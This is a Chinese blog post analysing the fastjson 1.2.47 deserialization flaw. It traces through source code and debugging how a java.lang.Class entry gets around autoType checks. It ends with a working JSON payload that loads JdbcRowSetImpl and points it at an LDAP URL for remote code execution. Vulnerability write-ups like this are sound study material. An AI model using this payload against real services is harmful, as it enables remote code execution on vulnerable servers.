fastjson反序列化漏洞(fastjson-1.2.47)

 fastjson 1.2.47 爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。
一.原理
测试代码Test.java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Test {
    public static void main(String[] args) {

        String s2 = "{\"@type\":\"java.lang.Class\",\"val\":\"aaaaa\"}";
        JSONObject o2 = JSON.parseObject(s2);

    }
}

pom.xml

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.47</version>
</dependency>
根据fastjson的反序列过程,对于s2中的json数据会进行处理,关键处理函数位于/com/alibaba/fastjson/parser/ParserConfig.class中的checkAutoType(String typeName, Class<?> expectClass, int features)。函数,之前的版本是黑名单过滤(denylist),现在变成了hash值黑名单。主要是为了过滤
以 L 开头和 ; 结尾 
以 LL 开头和 ;; 结尾
以 [ 开头
如下部分
这一部分主要是如果开启了autoTypeSupport,那么就先对比白名单,如果传的type这个类里包含白名单的类,就执行loadclass,没有的话就对比黑名单中的,如果在黑名单,就抛出异常。
进入 loadClass
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
    if(className == null || className.length() == 0){
        return null;
    }
    Class<?> clazz = mappings.get(className);
    if(clazz != null){
        return clazz;
    }
    if(className.charAt(0) == '['){
        Class<?> componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    }
    if(className.startsWith("L") && className.endsWith(";")){
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    }
    try{// 如果 classLoader 非空,cache 为 true 则使用该类加载器加载并存入 mappings 中
        if(classLoader != null){
            clazz = classLoader.loadClass(className);
            if (cache) {
                mappings.put(className, clazz);
            }
            return clazz;
        }
    } catch(Throwable e){
        e.printStackTrace();
        // skip
    }
// 如果失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类,也需要 cache 为 true 才能写入 mappings 中
    try{
        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
        if(contextClassLoader != null && contextClassLoader != classLoader){
            clazz = contextClassLoader.loadClass(className);
            if (cache) {
                mappings.put(className, clazz);
            }
            return clazz;
        }
    } catch(Throwable e){
        // skip
    }
    try{
        clazz = Class.forName(className);
        mappings.put(className, clazz);
        return clazz;
    } catch(Throwable e){
        // skip
    }
    return clazz;
}

根据上边的代码说明,我们需要控制cache这个参数为true的时候才能实现将我们的恶意类加入到 mappings中。于是查找一下loadClass这个方法
可以看到有三个函数,依此看一下,发现参数为2的loadClass(String className, ClassLoader classLoader)
通过递归调用三个参数的loadClass,因为cache为true,那么我们写入className就可以被put到mappings中去
于是对loadClass 使用Find Usage
通过看左下角的调用关系可以发现在MiscCodec.deserialze()的方法使用,其中deserialze的定义public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName)
当clazz ==Class.class 的时候会调用这个方法,而clazz又是我们传入的type的参数,
    
所以我们应该传入一个能与Class.class相同的类,然后在加上一个恶意类的类名,从而将恶意类导入到mappings中然后使用,发现java.lang.Class这个类可以实现,于是就可以实现漏洞利用了。
测试代码
import java.io.IOException;

public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Class name =  Class.forName("java.lang.Class");
        if(name == Class.class){
            System.out.println("equal");
        }
    }
}

二.代码调试

Test.java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Test {
    public static void main(String[] args) {
        String s2 = "{\"@type\":\"java.lang.Class\",\"val\":\"aaaaa\"}";
        JSONObject o2 = JSON.parseObject(s2);
    }
}

在parseObject处下断点开始调试
首先进入parseObject,根据fastjson的实现方法可以了解,parseObject是在parse的基础上多了个toJson的方法,然后继续跟进parse
运行到parse处,到这可以看到传入的参数的type字段为java.lang.Class,然后继续跟进DefaultJSONParser中
在DefaultJSONParser中发现会给checkAutoType进行赋值,并进入checkAutoType这个方法
然后来到checkAutoType,继续跟进
来到给clazz进行赋值,其中在TypeUtils.getClassFromMapping中没有找到java.lang.Class,但继续跟进发现在deserializers中发现存在java.lang.Class
于是进入findClass方法中
然后返回clazz
然后在DefaultJSONParser继续跟进,其中设置 resolveStatus 为 TypeNameRedirect。
获取到java.lang.class对应的反序列化处理类com.alibaba.fastjson.serializer.MiscCodec,然后进入deserializer.deserialze(this, clazz, fieldName)
来到deserialze
继续向下走,首先到这可以知道objVal为aaaaa
到这将objVal赋值给strVal
然后经过数个if判断
最后到了clazz == Class.class这个判断
因为clazz为java.lang.Class,满足这个判断,于是进入loadClass这个方法,其中strVal的值为aaaaa
于是到这即两个参数的loadClass递归调用三个参数的loadClass
然后继续跟进,到下面的部分的时候,因为cache为true,于是执行mappings.put(),将aaaaa存到mapping中
TypeUtils中的mappings,原本存在许多写好的值
通过这种方法我们就将我们可以利用的恶意类写入到了mapping中,然后就可以使用了

构造payload:先写入com.sun.rowset.JdbcRowSetImpl,然后在利用ldap或者rmi远程执行。

payload:
{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://localhost:1389/Exploit",
        "autoCommit": true
    }
}
---------------------------------------------------------------------------------------------------------------------------------
一些基础知识如反射以及构造gadget参考panda师傅( JDK7u21反序列化漏洞分析笔记 - 技术文章 - 90Sec
  • 8
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值